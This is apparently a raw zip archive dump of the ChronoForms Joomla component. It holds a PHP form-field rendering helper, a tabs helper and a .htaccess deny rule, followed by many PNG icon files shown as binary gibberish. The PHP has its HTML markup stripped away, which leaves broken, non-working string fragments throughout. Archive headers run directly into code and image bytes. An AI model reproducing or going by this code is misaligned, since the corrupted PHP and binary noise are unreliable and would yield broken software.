      '; if(isset($tag['enable_dynamic_data']) && ($tag['enable_dynamic_data'] == 1)){ if(!empty($tag['data_path']) && !empty($tag['value_key']) && !empty($tag['text_key'])){ $output .= ' get_array_value($form->data, explode(".", "'.$tag["data_path"].'")); if(!is_null($options_data) && is_array($options_data)){ $f_id = 0; foreach($options_data as $option_data){ if(isset($option_data["'.$tag["value_key"].'"]) && isset($option_data["'.$tag["text_key"].'"])){ echo \'\'."\n"; echo \'\'."\n"; $f_id++; } } } ?> '; } }else{ $f_id = 0; foreach($options as $k => $option){ $output .= in_array('radios_over', $div_class) ? '
      ' : ''; $output .= ''."\n"; $output .= ''."\n"; $output .= in_array('radios_over', $div_class) ? '
      ' : ''; $f_id++; } } $output .= '
      '; break; case 'checkbox': if(isset($tag['checked'])){ if((bool)$tag['checked'] === true){ $tag['checked'] = 'checked'; }else{ unset($tag['checked']); } } if(!isset($fieldoptions['id']) || empty($fieldoptions['id'])){ $tag['id'] = $fieldoptions['id'] = $this->slug($fieldname); } if(isset($tag['ghost'])){ if((bool)$tag['ghost'] === true){ $output .= ''."\n"; } unset($tag['ghost']); unset($tag['ghost_value']); } $full_label = false; if(isset($tag['label_position']) && !empty($tag['label_position'])){ if($tag['label_position'] == 'right'){ $full_label = true; } $tag['class'] = strlen($tag['class']) ? $tag['class'].' label_'.$tag['label_position'] : 'label_'.$tag['label_position']; } unset($tag['label_position']); $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; if(isset($fieldoptions['label']) && $fieldoptions['label'] !== false){ $class = ''; if($full_label){ $class = ' class="full_label"'; } $afterOutput = ''.$fieldoptions['label']['text'].''.$afterOutput; unset($fieldoptions['label']); } break; case 'hidden': if(isset($tag['container_id']))unset($tag['container_id']); $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; $divContainer = ''; break; case 'datetime': if(isset($tag['timeonly']) && (int)$tag['timeonly'] == 1){ $tag['class'] = empty($tag['class']) ? 'cf_time_picker' : $tag['class'].' cf_time_picker'; } if(isset($tag['addtime']) && (int)$tag['addtime'] == 1 && (int)$tag['timeonly'] == 0){ $tag['class'] = empty($tag['class']) ? 'cf_datetime_picker' : $tag['class'].' cf_datetime_picker'; } if((int)$tag['timeonly'] == 0 && (int)$tag['addtime'] == 0){ $tag['class'] = empty($tag['class']) ? 'cf_date_picker' : $tag['class'].' cf_date_picker'; } if(isset($tag['timeonly']))unset($tag['timeonly']); if(isset($tag['addtime']))unset($tag['addtime']); unset($tag['tag']); unset($tag['wf_key']); $tag['type'] = 'text'; $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; break; case 'custom': $output = $tag['code']; if((int)$tag['clean'] == 1){ $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; } break; case 'header': $output = $tag['code']; //$divContainer['id'] = md5($this->slug($tag['code'])).$divContainer['id']; $afterOutput = '
      '; if((int)$tag['clean'] == 1){ $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; } break; case 'container': $container_open = ''; $container_close = ''; if(isset($tag['container_type'])){ if($tag['container_type'] == 'div'){ $container_open = '
      '; $container_close = '
      '; }else if($tag['container_type'] == 'fieldset'){ $container_open = '
      '.$tag['area_label'].''; $container_close = '
      '; }else if($tag['container_type'] == 'custom'){ $container_open = $tag['start_code']; $container_close = $tag['end_code']; }else if($tag['container_type'] == 'tabs_area'){ $container_open = "\n".'
      startPane("cf_container_'.$tag['wf_key'].'"); ?>'."\n"; $container_close = "\n".'endPane();} ?>
      '."\n"; }else if($tag['container_type'] == 'tab'){ $container_open = "\n".'startPanel("'.$tag['area_label'].'", "cf_container_'.$tag['wf_key'].'");} ?>'."\n"; $container_close = "\n".'endPanel();} ?>'."\n"; }else if($tag['container_type'] == 'sliders_area'){ $container_open = "\n".'
      startPane("cf_container_'.$tag['wf_key'].'"); ?>'."\n"; $container_close = "\n".'endPane();} ?>
      '."\n"; }else if($tag['container_type'] == 'slider'){ $container_open = "\n".'startPanel("'.$tag['area_label'].'", "cf_container_'.$tag['wf_key'].'");} ?>'."\n"; $container_close = "\n".'endPanel();} ?>'."\n"; } } $output = $container_open; array_push($this->containers, $tag['wf_key']); array_push($this->containers_endings, $container_close); $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'page_break': $output = ""; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'pane_start': if($tag['pane_type'] == 'sliders'){ $start_s = "startTransition"; }else{ $start_s = "startOffset"; } $output = "\n".'
      '.$tag['pane_start'].')); echo $pane->startPane("'.$tag['pane_id'].'"); ?>'."\n"; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'panel_start': $output = "\n".'startPanel("'.$tag['panel_label'].'", "'.$tag['panel_id'].'");} ?>'."\n"; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'panel_end': $output = "\n".'endPanel();} ?>'."\n"; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'pane_end': $output = "\n".'endPane();} ?>
      '."\n"; $divContainer = ''; $beforeOutput = ''; $afterOutput = ''; break; case 'widget': $params = array(); $field_header = $tag['tag'].'_'.$tag['widget'].'_'.$tag['wf_key']; foreach($tag as $k => $v){ $params[str_replace($field_header.'_', '', $k)] = $v; } if(isset($params['label_text'])){ $fieldoptions['label']['text'] = $params['label_text']; } $output = "\n".''."\n"; break; case 'file': if(isset($tag['ghost'])){ if((bool)$tag['ghost'] === true){ $output .= ''."\n"; } unset($tag['ghost']); unset($tag['ghost_value']); } $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; break; case 'empty': $output = ''; break; case 'text': case 'password': default: if(isset($tag['tag']))unset($tag['tag']); if(isset($tag['wf_key']))unset($tag['wf_key']); $output .= ' $v){ $output .= ' '.$k.'="'.$v.'"'; } $output .= ' />'."\n"; break; } if(isset($fieldoptions['label']) && $fieldoptions['label'] !== false){ $beforeOutput .= ''.$fieldoptions['label']['text'].''; unset($fieldoptions['label']); } if(!empty($divContainer)){ if(is_numeric(substr($divContainer['id'], 0, 1))){ $divContainer['id'] = 'id'.$divContainer['id']; } $output = '
      '.$beforeOutput.$output.$afterOutput.'
      '; } if($do_replacements){ //do replacements $output = str_replace('%field_name%', $tag['name'], $output); } $output = $old_output.$output; return $output; } function slug($str, $replacer = "_"){ $str = strtolower(trim($str)); $str = preg_replace('/[^a-z0-9{}'.$replacer.']/', $replacer, $str); $str = preg_replace('/'.$replacer.'+/', $replacer, $str); return $str; } function fieldValue($field_name, $data = array()){ $field_name = str_replace('[]', '', $field_name); $value = null; if(!isset($data[$field_name])){ //check if its an array if(strpos($field_name, '[') !== false){ $value = $this->_processArrayField($field_name, $data); } }else{ $value = $data[$field_name]; } return $value; } function _processArrayField($field_name, $data = array()){ $pieces = explode('[', $field_name); $value = null; if(isset($data[str_replace(']', '', $pieces[0])])){ $path = $data[str_replace(']', '', $pieces[0])]; //remove the main field name unset($pieces[0]); foreach($pieces as $piece){ if(isset($path[str_replace(']', '', $piece)])){ $value = $path = $path[str_replace(']', '', $piece)]; }else{ $value = null; } } } return $value; } }PKs>\Gå'com_chronoforms/helpers/tabs_helper.phpnuW+Aprefix = $prefix; } $output = '
        '; $counter = 0; foreach($tabs as $id => $title){ if(!empty($prefix)){ $id = $prefix.'_'.$id; } $class = ''; if($counter == 0){ $class = ' class="activetab"'; $this->active = $id; } $output .= '
      • '.$title.'
      • '; $output .= "\n"; $counter++; } $output .= '
      '; return $output; } function tabStart($id = ''){ if(!empty($this->prefix)){ $id = $this->prefix.'_'.$id; } $style = ' style="display: none;"'; if($id == $this->active){ $style = ' style="display: block;"'; } $output = '
      '; return $output; } function tabEnd(){ $output = '
      '; return $output; } }PKs>\)!com_chronoforms/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\.EEcom_chronoforms/images/keyd.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڌSn@]qIӴAIU BWĝ?_7 ^ZJ=Ph\lv\ۛ][MK[v4;z3D ȘmfoO-\[GdBF{;eݥ|@EwyfC1fX5z,gq2_L;v}n7EDzKOͻ&agK 85Ű'RAfJI{V@  Q2atɿ{c[IF MƸZ?#6Ϟ.16G'd$i&YDF;qoDK0^Tw}(oc&i đ`90Dnt?A0DX<0)Z#=e%:|xSz=87kdRR$^<^*Td ͱU?HE9ᧃ.1ECkS{{IENDB`PKs>\ (com_chronoforms/images/properties_f2.pngnuW+APNG  IHDR szzbKGD pHYsnu>tIME > IDATxڵyl\WYlx;YZ'i@PA *(KEZJi!El*W RAh*($DmZLcN=x<ͳxq ߓss—7!zn׾֖76zO޹ >7jLxR5/`wn۶tB7ڵwٵkP_]>3ъE&`Jm7xnwi)]n:{{?pjod?ȮpW-$f]GGyHG~'f]={O.thnnpt蠵B2V|\z; 8a |} iUps}U?VٿM*6]p8Np8R8xdh. 68!__wcgc**`F[Uwl|`pm-f;uJ\ # Á墾!%kkk/P(hP֨s+7lb{{8?gaqжo`fr3 eh*R ǃ ɲ]&R]>B1+rGĂݛ{lsXoi.MJcmuLT`gUD"E$ c@?fabkAUA Z-sMu7  0钴~O4`Ī&P0,zo>\%{״Fȥ!DlL(R" [!ga sEUDD+67$Sq;Ėĺ4ԝ>J(#ri6o٣ `Z)HCU-+$ 1NLZ#1:k"ش`x+xdߍXt5R\,,52=0bs*_;5prX+@DkB"4hhq7,xxC$JAɪxjsUz)4gF+Jcc#C{nayp<|*Й3 HRv{zNQ7W5N5@R*)S!/?ʳA7]|$}&_;,7#QFH4 597m+ uo PUy(hb.ܹ8,B4Z 0wBla(a x>[{'t5P.d,H)N'x  LA))%.$Ak^=ϱc|s=Rí$c/9LN&3 e6^H,T),EX^>JXajضW=="+9BјXʦOƃ@(T:ZƁo=#7{|\#*ѳƢ:Xȯ₡ځ6^ PXVŬp IENDB`PKs>\'com_chronoforms/images/normalscreen.pngnuW+APNG  IHDRasBIT|d pHYs  ~tEXtSoftwareAdobe Fireworks CS3FtEXtCreation Time2/17/08 XtEXtXML:com.adobe.xmp Adobe Fireworks CS3 2008-02-17T02:36:45Z 2008-03-24T19:00:42Z image/png 5RdIDAT8?kAGϽwv^P?`Pb`/KQAl,mBP 6e @@ Li,4}gb_ @~0w8s.wFr%ړguwv]( BB_ ]ꕏwY!WLA% &|p_ؼ4s,$WWwy1 8Q#bG>qLs6r3YfRC*7*Tn@] (ԊR+*(f. c !z|j ^jiSK<< O@=8L Ja(wr)U1DEѬhgjoRMo2hxpnyZÍc^όPCf&2QM-/>5 Ehba-a"!5bHRL A< O7!E!dh4 'kr,_7IENDB`PKs>\ʈ"com_chronoforms/images/disable.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<fIDATxLS[hU\fKL7-}jmGQPXl41TzQZAeK%AJ*""HSR4kfomsN߸f 4a&(In08{UGe2m(@$p f魫_;!P8̓t7]lW* Ta td K&aYZ6 _}F@)纈RskPFHO!„>|g$FyX?~?Ig\>otf9>N끏Xn9SHtra }t ;PcyX ~} J[lB4GxUi=U[} tc)~x(k#`t ՗qz[/@3EDX@lBzcN >Wo!i!Ux:c7@F#$ rV|x Ofi0v4PV SSpkA,8$T(Ak%Ƒ>{5*jƟ?tK^^+^$JnQ>a,߾|j5/pƹ2־TT3 W׋v>+,B A&;1إ ž;>|mwG{Z,K"~X>SDώ>ı,W`?Բl$I۲`9/|wEunyg C@:rJ7{{[QqWv, |)\,`]]!com_chronoforms/images/apply3.pngnuW+APNG  IHDRw=gAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڜVOSw~z.ޡЂ dQa-eƨ#nY,Y%,ۇ[LLtq!ަ@(=s7m6iy/j1s&*{  7E˨J⣳ZD'nCaB'ZG]npoGU­8OyC,H! D+ߩUc(:'|Xf3Ş3aZ-z73p3ӈI1-3>1EA_/$-}MFBau,HgHh$]ge/KIhyV;af9}iC%#ig] 31u KPl)Pbc'Fgzk\ଚvLMNEL5kr#FwQx: z9+Y,z!z ڃA$3(}h*Miy^5N $,\f'#?)7KUdt^[N9G?MԜ;DZ*{:,` O%ٔ:N|3}m<Ĵ_ DTΐ淽Tf]F[`8C)"Pׁ LWjvMjyew1}LWg#jE/pN 50mj<ȥ>zU#d-NIENDB`PKs>\ҰBppcom_chronoforms/images/edit.pngnuW+APNG  IHDRa7IDATxڍ_HQrӭfYĂP!dT !,n[-" D慉\&(rlVfns5tAs 9FMJv0>b6ŊmkK_pmOڝs%'LZeCC݀"Oٺh2]UY5pv1`fCA Œ*9YHU1R<:=DcxW?I~S$8Zgi[vOx!>pW(r;?9`ijW{ԃ0Y6!!ʃxI!k>A"0ˋkG ǫAr>)bLjS_"Gf9N'aةs xMuDAxh[$N!Kȕ&xYO_g.EF>77YR#x_&2ntN#z֢zn$ӿ$m†Puv.=y&. ;VyFJ8T(Wq[HhDe;bR Iq;S4]FSF$iIENDB`PKs>\@5'com_chronoforms/images/fullscreen_b.pngnuW+APNG  IHDR$gAMA7tEXtSoftwareAdobe ImageReadyqe<PLTEf|1U}4}3QSLSRZQXT|0KOU]{.}5VVOPG}2M~7ZI\MWNW\IJ{/[H[E}6~6Y}3}4XM2tRNS PIDATxڜ0 EEDP@]3"36=-NJSclS%gQ| B~ylmς{5'8@b $(XR2 b@."c*OytB\?|p X޴y%n 2P*.R"7AK[JKy(UI<#1x*^ -=QE<IENDB`PKs>\ucom_chronoforms/images/bkey.pngnuW+APNG  IHDR szzIDATxiLTWy3 3"ke`")[c bR* 4B ʮe+HERfYy̼eM`wݓ{=q@/ ]rh3l MlZ?Eh}nò2R|w$?oXg'sOĭj }-WeuN Xw[jVI&=ZXԐS%ήoh-)Db6ܵ3S9^>[<.Wl &X]rO. '+l$KRuwZ2@w 9qgo[֗hB)IoY4J3m4xD)ّX\" j;K=L%f#e&103܊2HAn?_eJ=La#?3Ѝ2e1{k'`p׵'lg8HмK<pf#,#U>5~L^^X&0XzIENDB`PKs>\[ com_chronoforms/images/query.pngnuW+APNG  IHDR00` sBITOPLTEyI*=g=WSNUs`xs.ܓL̬s폑ԏ*3ff3uhޒώ~ífGlߨݩٖ ¿j֔t߉\A=a\i]Z~I߰4sk?)]ݾ2UwFх#ۦlpMmf܉ЋV.fz݃YNsm?]mRtsŃEH0{x|ܒL^9Y_m^*g)ʾݓ=$AL,tRNSPe pHYs B4%tEXtSoftwareMacromedia Fireworks MX 2004v@IDATxmWX b (H4-bTņp4UDJ>& vV; ,9{[dw៺_|t\ӏ ȹ`8}`"n :H[C=SbE;ރ̪ͩ/s9nV\"ߤ]&SSk zE@9A%,vAMsc`=CQ4PzP.S}|FWTxYyw jZօξ|PB߫ҼVTBOPn5 zU3|LѮID@.؏#Ǚ:jǝw-me2k˶#ۃ'Q`ivJ1XM_:Zv2a9S*ԃ@=_8:Zأ$ITG(!5 D j$DK`1 *U?\W)k2$Mđh.vb|ݸ#ZŨ$| .H6E;BD:#E隚ɧvzwűKtUC^IjgiQq*@/ YADltUMN"4@^,:mPJ U_4 C~nd]("P/<"V%f.aO"Yֵ> _rDQlaVЀ##Cp̤yQPdu$E ߯^&OFÒSەz[jLkI)s0^ O4=2&IxQ[X=:g8V CJZMHecad0TX:'pnnP iŭrL={F(:$e?խlN3cM9:o^r @>yW悒DTc'k'OPW;Kd2y^%7fY͞d-Q-o,ogU7$ Zvo]N\sc 6mѕpr% 2p:99r@vZ, Lͭd4+3S} $uSDS+KւƜh8-͹tzǓ!lX@N]7CW%e̒%rY>6d>_9n*{fs?ܸ sC {pB IENDB`PKs>\AA com_chronoforms/images/apply.pngnuW+APNG  IHDR szzgAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڬWklW>gv;뵽k;^ۉ8nm դWE!P Z@D ?ڄ*%(- a)!UI!$NƯM1;3wޙ&5W;wswX$"8ƕOc ADRA ~A ތ 䕴ZOx|wBfԛJ Ѹm(raFnojy-= Z\ +S׏0JJ{XF)$Fi;6M[[彗7~L9[Rkޟh" HZ Kx@<7z5Kbdl*Rg@޴(uЇ[PHH3R>A۲v&-W̏Mq`ޙ{zrj"FB&82}q?f "аo$0du]`R>{n8h5Q(-t@V]*Ut~- hPWjIQ0sR+ EA#㬅@c^r3b661 RL֩2&gJ*FaؖY 8qBoQ|RPSnK pk9ϣDj?!LIR1L B!0uPj&R{Ⱥnذ :0;pY%_ie 솚iaU1. ]Y{ 3 nT985u+3Ki-6,{='<謻, $D4MjQ¸6y GOґǠaMUn].ҋ3<6e*#SC_.B^u^OCi9n vyc4`$1Æ,vr >w-3chGaA]`)APhw7ruyk?# t߂lm-V_~p䮇u~ؚ~HZؒ" ܈%G$ut Gu Y&q0dR7Nn<98qG"0c{gT&Y˖.PKԾ \y]Y1=ʱIVrV:$ݷ;W哴\,Yzl3al]DTQuGQ_sIr}/@<di|sٍ5[}}v oq8S7~qWdeydmt BJus,B4q=;G`ݤ =vqtK瞂Y2Q Il CQs;)5uw: 1[Je wU_G;~~uN=+8UJL9Igh5I*Z4̻ԒVU8v˴P|h[& tB={ms&HoEE4Uhy@TzV7ěOc:ԣ!g{z[;oZr ͅ ("r,N.6Ӵܗ-:생[TB VsP$]!K |0s?kjujWuMo s}(U.6rn4ithǧ{goL"SBYQ &Ga_!8@\->\^CٜH\<com_chronoforms/images/add.pngnuW+APNG  IHDRw=gAMA7tEXtSoftwareAdobe ImageReadyqe<aIDATxڤVmU~}?gfgwmwMYp+I_QY~aR?2B-,)G E",\5]-۵\kƙwޯ{;(tss99wXWWZ dSR+ 3P;%!} pwrn2Vڋ q;_+ #̱N=%CSNJvnF? #g` <8kfecrjj/eB-CP$K9[.CzV b]^$ZEuK둌޽3>ǀoVԥlT '@cⵆ0ڙ V۞! \B 3|j0rFʫz+d$\6lMO}l2bm mŧÜOkyppͦMH[ !a#B伬S6ږP %2-*E{zw!FMxh ]^'V,u0Fض:kҐhNUPMŀSG pԌct4rhN?UAr\KqIb`0D( m 0S<A}^sj* #PIdP3əU,mF= (M>lהiyFσ uUJ rfP̈Fu'l㓍C b/u!G,փSrktcMʹʳI5Nu)Rj`ZþW ő/|t{*ч6.zytO*^Ӭ q:N`}P( KXi,ix]< Z{%rg]ktu12VH=[ s_EE29'kB1Ɍ.s>ڟW埍x!dVrZzYHbBr2Ӌ_%KB'VR$sl5Ε:͘՚YbbRDOאȝe&u7ՠ|#HJl94\ qIENDB`PKs>\Z]̏$com_chronoforms/images/dbrestore.pngnuW+APNG  IHDR DgAMA7tEXtSoftwareAdobe ImageReadyqe<PLTE!ꝝÄ[\`$tY]:xʅB@C0!鎎l]5N=̑A%ff(q( yMv^89柣zz}!:/o d\Hy֭2Wֶ%vmmxI*fQ1kXpi[ VJ.DvIqHI*(.f@yǞ˼ 9!zz/uwZG"z!ߨi]FH+ZYYmhi܆)%!twp==Ic:!x m*(btRNSKFIDATx\OFM: K6/Qu1=^bEb Ol-hjRS¤;2}};Bg0΄gcbhc$qDM6,H,eaG"4zS6? ^qr__d!lU*+hsx<^/2Vo7q1xP`+AX2 '7K,BinB+([^,DŽnݘʯQYeM-Q޺q0aӴNͳ FeZZ=i~WO7 /W{тYwЃ :}lmӴHx2کs#>Ҥ[QߧhL]-׶b35mƓjL@0_߾L0^U4lRu^Y(B_7B ǎ:n($pD1uRI7$۟lt3\`com_chronoforms/images/save.pngnuW+APNG  IHDR szzIDATxڭ{PTUǿ ,ert j*eZ34#r &5cB:@TXb @{a;q/wúg=緇{>sYN /;}mv \ؚ~Ju6V0e3å('Ҫ`2tD ov_KP԰ֱ!HI5=+P\d |v NkMK7@VCy)iJ.zk]ZRS3/{\)h-j-5, $!S|my():(w@gԣRr@@;-LEGPSUB@ҳE;wqNLOeDut*pN/LM&a^rHք]BU_#\N@TBրN>{|?XJ!GbѨ^|&u.|pp\$Q޳ 4 `h7mef㞑k6^3t*/^y!X4&!nɽB`^?eЈ]4 VM3t_! V(=0X8 u>e/?;1r\.' eW}ߣFsH*>p5W+&n1@g̯ya3y;z UV6h<hy_$H-(B0gXp*jU\ClDVOp9}HH{rzzzԡ'f cdX05,.h{XvCZ!fƜ$|)(/-dN ).^%IHh,[p krS 3;1@{-|]:b2wZE\s:8?7]*(`N\rF^D{#/gTy18@&qZ<_/3]?POY8.L©cLR½u}ߏ{ppo:n?KjƓ_d =]'|kLPV\^ʤ xi"{˞G%>vuz4s{3BI =Х p o79hIENDB`PKs>\s7 !com_chronoforms/images/apply2.pngnuW+APNG  IHDR szzIDATxڵ PTe](,Ц1,T6iL>4)cSmee"Р#2A%@]uY`wY +A9p}wDȂ3 ;۾g sw}gT8vs˰n$we?}x| a'` h|7E,ey.=8qUXȢͣCޘw&R(ܾn'听kN;5>v왝󳴏VIx-"\5sz}atcF}duV.E-B)dF<_Vѵҹfԏ.@K3WoBY 8zB_,AS!K쯹uݥ4i جuoACW#?qRZe"mIg:r;ߦȬ>845_G5渵br.I's?5uչwf\!=1PecX,bhA`+v~:<};F`n:yoNJr."b%rcq ^^cfZzCGt0nQ3V}7;M(оűkoIOxCXh!ICD qAm%\:?IERK0/ޞ,qU HI^BuBaJ])|t~͝rS(rYjN];y=|;a/AR&qZ1Fu`;t6gOO xRҔ5FiCqj,@-]GY4剙188g 2r*LBӂC [^=**"=\sw ~k=E+F4\9:# OY(r7,[sEו~`k5IQDOF^r(B&GG#MBUZ` D*4/ (ї ~((Kt֬iB4u7 99 M:R(/Te &?]d0, §'LyX<h+r3b#9CcH J|vj̻,9ÒZ0G۱D"˿7~j}v!Y\8lB!D3Tc])(.i0LX.m^+B ΀WpHSa鲠ؠ~DUl?+Q(cqg:yȒx-_V}OM9I=+9'eU5E gҏ YYthkߞC:gҏ <n@[M@#> ҥC`zIENDB`PKs>\Ь`$com_chronoforms/images/rearrange.pngnuW+APNG  IHDRaIDATxڕKA{3cPM j,B9x%xQ#^'` HZADH{Bb5āe}.S#6uu8mv`I9(ɡrn[Als (N ,TbwcSh($V|#I0lHqXD<.N(J8I+I㗻#^gZ@T^dD;XZB zWS7^S<[B'NYm$(.(-t\\!!"com_chronoforms/images/preview.pngnuW+APNG  IHDR szzsBIT|d pHYs|4ktEXtSoftwarewww.inkscape.org<IDATXŗk\U?Iҙv0-iC!i]DYX@B7Q7bW.UWP:m!5MfL+/oxys{F̌3JIWYDdbuugϞ}h4*R}zzzZ~+"ߘY$"~yee/\ 4ʕ+W.ߋ_% f666L:͉PaO,&'O$՚ddf-#-$|rv8_׶xz+B$ժ@p26 k%:^>ޮr ! ij}oU90"dpG~wvtRT=/T\-GRqmOڷ "[,%ӎE 9$s8R)˟;;?I;Ms;, '$=G~XxaH bjQ5:`¾ I,D > nt9{*!hA<UztdI 8ӟe!xO3Ghwh&԰`D+A,ʐfhY=! $xIb9.(rZ? s&|=' iAӖr ]!`‚ d"Id(D3[ hPB0>-~m=wrї!jlw ^ 0NᓃdYHϙ󬥂$Nh^>PpvA2IH&C<ıF'{#1AdfK@y)p !(ffƒDRzu HJs!'yT ꕐb0Bjc9sq;~z9&B XZZ󬮮l6_@jxYZZMMMq Jwwﲼ|o;f?:Jmܼyt:.hZCjevwwG \.Szoo%$mfV;> fƵk׸Y, s_ zcmm b*/^ݥK>={둜xرrرz}ի?]~S}? ;f`#ZE1.ٝ>VIENDB`PKs>\6WWcom_chronoforms/images/view.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATx$RE}cgvg[$:  RD)G@"Q@DIQFHG#;yx5]|O|O(ǘE Zɤ5^Vq?Jz))(%um/?aBKH%#!»' .Z -d5y{p1Ae-MALq6>"'TMӕ6@LQ[XS&RcA"K K"쌪r(ciJb$ Q0Tq& &uE H%bPZ"u1;"bT)4]P`Mo;yR*hY=mm!<@>O[ACf6 TF1 }҃$ \ ܃ڋZ(5m)6gTH#[)OleHU<u*Axsž z@w,,$P'&P9G=;7L3PDF*Ҋƺ^;^^4w=fjZ h;\-q8tޥ]? KIαE d\6b"qJ. նϔ_6M畭5#mr.nǨ_b2uIENDB`PKs>\Q  %com_chronoforms/images/incrementd.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڔR=OA]F uVTF;촷PGX 1ʯ0!ƂT֙C"9 \2۝o߼oET R:.cMr W KJR}nBg PZ14{X<"'P PZ a:p F-y>~5nЊ.?*"Ho$(.9o*3Q5W)x&{#R.POHYB`t0!L&J[\ WGaC)I~+A}@^zLB^9c)Z^,q%:#COQw.GLx Cm\w*;g9;(&"UHW! ,w|o2nX=5V? gR5~IENDB`PKs>\)@t"com_chronoforms/images/copy_f2.pngnuW+APNG  IHDR D+tEXtCreation TimeMon 2 Aug 2004 15:44:40 -0000wEtIME.7f& pHYs  ~gAMA a%PLTEΥք{k{s{{Όޔsk{ks{{ss{{ֽsks֜{{{֥{kk޵{s{Ƅkﭽ{Z{{sJssRsskc޽c{kcc{ss֌k֥Z{s{Z{ֵ)RRs9cJk{cBcޭRsJsތcc{Z{sBcZs1R{Zs{Jk֔掠RkΔc{ޜc{{RcƄBkcsctRNS@fIDATxmCA,;3mf(tf*Sq,CќMJpC,4ʹ,JӲN3;]~s~|{7F[2Nuk/_`r'@t :Y/caO|"xBj@ [3LAPj%% ^͍li&}wyH>U05ǰg.~,Xj|b4:t5X̳T4<օY_~!hYGѩ'O'e"t\p/'n)}#:'Ր0., .ccpa֎ =w`[t8crtP{a`D)xY=:eTEHva!Zs#IT ʔwbGws yij6$!ʽ>ϼ+H;D WE)X&NX[dz*3TAwS<AFuy0)l]l6\=OǼD4Mq4K(;::)떯DŌbGglZ9Ś4 @sRkT44o̩%щ6m$LG5c9X 4PqUIu ZQ*eH'1Wp5&Vtg̺kԢ+``kEņ}gfelݒ5SZz~RoH3-EҺd11 HIENDB`PKs>\厔3"com_chronoforms/images/confirm.pngnuW+APNG  IHDRw=tEXtSoftwareAdobe ImageReadyqe<IDATxڌV[lUlN[v񂅶Sk4 V(xhDM /ZKPFl ACM*514Šm!VI`"(n۝ݹgfouNΜ};9 ( Z=Ӌ>O ;Œ0+w/9YiY];ꁖU %Ao{dU | {t~`/ J/h4]WDچ`QZݡ"T8v")KOX,$ +'"k)-超w^|hZd 䜎OMMQC.SQ(%Hչi&zZźVק"[Dk\ & ܰ'V=1ٗyΛՀ@FqAS!0F{jqOC% `im'ܖ\_4B+<]E)* ~@ѐ`g8<}7#F, 5\#Peǎfeg 6NI$wdIeіE]RAM4` ó8xxN⌟Ω1k4Rw_FU  $)e0QotA?-b۞r=0% ZY,?~L\6FQm䵖4&- `uu&\2/Ǽr.}{g >jk yESʸ#+A$$1 G^ֱ-'K;E^+rZN q};Aut}V: {e( 7`-SenSjj9Uv_FS":o=¹!=ƛVx5h ?2>ɾ)O!D< 06ndr|ꌁ>L`*.7F/\ҾPSl;%Evq-n+"am9,6$G*O{Q޵ŏUe>eYPTz 5?Qm"-uk3K_bGFb$+&V .IDsSS)"i#zk0Bo,fo8'ϡ7 "w-WЦlUVYzPrmY.XfJ2X|? 0}2]zdTbUIENDB`PKs>\KKcom_chronoforms/images/key.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڌSkAn6 iڴ% "P/< ^{('OފPŊ`Dlv6lf61{Ǧ?^['c*/8~ռk],g,{ u_^:~nƦ.&)\M^?6׷Dh>Qԍ E/.6$5UYb/QZ*5bʥ+D "u^T+!Ϻ[ށҷ` F Gݵz"EgkJ 1Ɉp[O@bn 0RoN͹GB7V;ׅ\YP6j{|74b M ghpf\ pB`},}dK'0,jNSSdAHQ )ZR0 d/ۯ ~'Ȼ!d\ߍ!com_chronoforms/images/wizard.pngnuW+APNG  IHDR DgAMA7tEXtSoftwareAdobe ImageReadyqe<PLTE33333r\T/浈ff7,żȪhssnxsxZ}Bׯ\zOC~PLn:shxoHɫmtnҡ|3̙|ȉ@d4rG@Yu[+umm5<$ޏ*hE"Oo:͚\mn bM6jD[5u ɤ~ݺn͵_)0gP0~Z[T^U PM' }jW*ce"zNHAREQGLfZz h_/m+J[rf{Z%Wn_%TI3^uӷ#O8Ve$ Δr]]9 G.|xkNq8p4ztw[vD@ tx8befN/B:ƴ6oۖ-ˁ!%.my9oύX'!L\[O1ǩGt#Cϣv .˫thMrgќqP{kmEcv,)G>M۴N{,>ƶdR`SZ0qPC,َd s( }w 7=wkgt־LtY+칊hH-v 9ߚ,}pf@=^)I0Fb0,ia rƥG<[ s}HmxIENDB`PKs>\!com_chronoforms/images/enable.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<wIDATxL[hUƿ33g{f1cqEVm% yJO"PV"R|(^j -h->Tj[lnfwMvvv̙B07Cn-uvI C1kpn!tfoLչSUUrl6d5g`q[eMVڈ0^ܲ',Uu?dso_ I3Um^F8cˎLl 3HӋg'[:ze JȤGqP]O`u6Xq߼tGؖFF`>49$!G#%OadMIj>[F5!KAFiaw}[_j+:26 բi#pF{OuºX \v ;sOCa5`Ho(>5lMm*+Xߞvg $qBFNA*I 'k )#\5{_ƀUDB(K JT-[jz^I$<,(#?B>G<,%,ĜoG ~[;sG|a   "XW{Y⎮=M]h$ }|U:Kk_ ^jGn!<oQxͧCoM \l8׫857 ,jopd|uĐ:Ή?O* ш/^o:;6~>JхPA5ըFY3O@8RPj-q>rO#|VXDvTQ_|ƠPUujGY іBFfws^u{eq[sIENDB`PKs>\5GG$com_chronoforms/images/increment.pngnuW+APNG  IHDRaIDATxڍkA3|!Zo< "HbAҪ$mS=+R*MSܰi(zMBf[Sh>7iE;Ͼ<3c{0;1t99>{?-?k^."s{ ߇B&w?Xtv ޓryq8?Y7T ωʹuN>p08@,~KUXud+N~ÂdYT-JeM+3pcz 